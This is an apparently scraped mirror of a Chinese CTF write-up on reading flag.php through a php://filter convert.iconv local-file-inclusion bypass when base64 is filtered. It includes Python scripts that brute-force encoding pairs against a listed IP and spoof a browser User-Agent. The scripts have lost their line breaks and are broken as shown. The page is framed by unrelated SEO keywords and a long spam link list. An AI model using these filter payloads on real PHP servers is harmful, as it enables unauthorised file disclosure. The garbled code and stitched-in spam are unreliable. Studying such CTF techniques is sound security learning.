当前位置: 首页 > wzjs >正文

婚纱摄影网站设计理念网站设计一个页多少钱

婚纱摄影网站设计理念,网站设计一个页多少钱,网站建设翻译成英文,增加wordpress页脚小工具直接用php://filter读取文件,发现是被过滤了,此时应该找别的方法或者绕过 这个题考察的是在base64被过滤的情况下如何读取文件: 这时候就需要深入理解php://filter的工作机制了 详解php://filter以及死亡绕过_filter绕过过滤-CSDN博客 我们…

 直接用php://filter读取文件,发现是被过滤了,此时应该找别的方法或者绕过

这个题考察的是在base64被过滤的情况下如何读取文件:

这时候就需要深入理解php://filter的工作机制了

详解php://filter以及死亡绕过_filter绕过过滤-CSDN博客

我们用

php://filter/convert.iconv.<源码的编码格式>.<输出的编码格式>/resource=flag.php 

来读取flag.php内容

🌟 iconv 的核心功能:将文件或文本流从一种字符编码(如 GBK)转换为另一种(如 UTF-8

编码格式有:

一开始写的垃圾代码,啥也不会上来就干,结果卡死了。。。

import requests
import timeflag = ""
url="http://61.147.171.105:52323/?"
option=[ "utf-8", "shift_jis", "euc-jp","iso-2022-jp", "windows-1252","gbk","big5", "utf-16", "utf-32", "ascii"]found=False
for i in option:for j in option:payload=f"filename=php://filter/convert.iconv.{i}.{j}/resource=flag.php"req=requests.get(url+payload)if "flag" in req.text:print(i,j)found=Truebreak;if found:break

优化优化:

import requests
import time
from requests.exceptions import RequestException
from base64 import b64decodeflag = ""
url = "http://61.147.171.105:52323/?"
options = ["utf-8", "shift_jis", "euc-jp", "iso-2022-jp","windows-1252", "gbk", "big5", "utf-16", "utf-32","ascii", "UCS-4LE", "UCS-4BE", "ISO-8859-1", "CP932"
]
found = False# 模拟浏览器请求头
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
}for i in options:for j in options:try:payload = f"filename=php://filter/convert.iconv.{i}.{j}/resource=flag.php"print(f"Testing: {i} -> {j}")response = requests.get(url + payload, headers=headers, timeout=15)time.sleep(1.5)  # 增加延迟# 调试输出print(f"Status: {response.status_code}, Length: {len(response.text)}")if response.status_code == 200:# 尝试Base64解码try:decoded = b64decode(response.text).decode(errors="ignore")if "flag" in decoded.lower():print(f"[+] Success (Base64 decoded): {i}->{j}")print(decoded)found = Truebreakexcept:pass# 直接检查响应内容if "flag" in response.text.lower():print(f"[+] Success: {i}->{j}")print(response.text)found = Truebreakelif "<?php" in response.text:print(f"[!] Possible PHP code leak: {i}->{j}")except RequestException as e:print(f"[!] Connection error: {str(e)}")time.sleep(5)  # 长时等待后重试except Exception as e:print(f"[!] Critical error: {str(e)}")breakif found:breakif not found:print("[-] No valid encoding pairs found.")

我代码不成,乃菜也:

1.遇到服务器过滤或者限制访问的时候,需要加上请求头模拟浏览器访问,绕过基础的反爬检测,并设置timeout=10,十秒钟连接不上就拉倒

headers是字典形式
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36","Accept-Language": "en-US,en;q=0.9"
}
response = requests.get(url + payload, headers=headers, timeout=10)

 2.不一定非要看返回消息中有什么特殊的字段,可以直接打印出来返回消息长度

3.python中的try是什么意思?

try和except、else和finally强强联手

try 语句块用于包裹可能会抛出异常的代码。当 try 语句块中的代码执行时,如果发生了异常,程序的执行流程会立即跳转到对应的 except 语句块进行异常处理;如果没有发生异常,则可以选择执行 else 语句块中的代码;无论是否发生异常,finally 语句块中的代码都会被执行。

 终于成功了😀

 


文章转载自:

http://KxIULGJH.wqpsf.cn
http://E7lulAnF.wqpsf.cn
http://GHNEwjc6.wqpsf.cn
http://MHbZeHkJ.wqpsf.cn
http://xjHt5gsf.wqpsf.cn
http://6gvFRgA9.wqpsf.cn
http://PFRloZ0q.wqpsf.cn
http://IHJRazTR.wqpsf.cn
http://guLORSjh.wqpsf.cn
http://OTkGN1dZ.wqpsf.cn
http://oxTs7lU0.wqpsf.cn
http://kxnSYK4o.wqpsf.cn
http://ARqy1yam.wqpsf.cn
http://Uo5aWvAd.wqpsf.cn
http://T7V1S1gw.wqpsf.cn
http://go6kG3TP.wqpsf.cn
http://IDRRwZed.wqpsf.cn
http://ORpeGBYa.wqpsf.cn
http://gWfjCIXG.wqpsf.cn
http://VW8Fk9zH.wqpsf.cn
http://u7zF0ShF.wqpsf.cn
http://SqujVUgh.wqpsf.cn
http://6nN2HrDC.wqpsf.cn
http://Q6YIo8dZ.wqpsf.cn
http://Qjr5Nsjl.wqpsf.cn
http://0r4iSJF7.wqpsf.cn
http://R6vEfm9h.wqpsf.cn
http://YOlqcB5G.wqpsf.cn
http://DQLNsyyN.wqpsf.cn
http://hea4A8BP.wqpsf.cn
http://www.dtcms.com/wzjs/640751.html

相关文章:

  • 想自己做网站怎么做软件开发中需要哪些可行性分析
  • 集团网站风格Dw制作个人网站
  • 柳城企业网站开发公司国外免费网站域名服务器查询
  • 做公司网站需要准备什么科目微分销商城
  • 邯郸网站建设咨询安联网络wordpress中文案例
  • 跟京东类似的网站即墨做网站
  • 富阳做网站方式定制制作网站价格
  • 保定 网站建设网站建设合同建设方注意事项
  • 最近中国新闻事件网站推广百度优化
  • 营销网站制作需要多少钱wordpress问答插件哪个好
  • 企业网站的常见服务是什么长春百度seo
  • 网站开发用什么语言最安全广州海珠区租房
  • 网站内容管理系统 下载网站建设前期如何规划
  • 网站论坛源码wordpress 头像缓存到本地
  • 查网站是什么公司做的wordpress 注册登陆插件
  • 河南建设银行官方网站纯静态网站页面优化
  • 门户网站建设管理工作方案wordpress主题慢
  • 山西省建设厅官方网站甘肃建投土木工程建设有限公司网站后台
  • 个人博客建站wordpress2015网站建设源码
  • 汉中微信网站建设wordpress 主题公园
  • 河南省做网站的公司有哪些做面包的网站
  • 南充市住房与城乡建设网站网站聚合搜索怎么做
  • 建站基础高端企业网站建设费用
  • 阿玛尼手表网站教育类网页设计素材
  • 交互式网站开发技术有哪些代发百度首页排名
  • 电子商城怎么注册seo网站页面优化包含
  • wordpress 亲子主题淄博 网站seo优化
  • 长沙做网站最好的公司有哪些找人 做网站 一般注意
  • 哪家做网站的好做网站开发的过程
  • 做神马网站优化快速php模板建站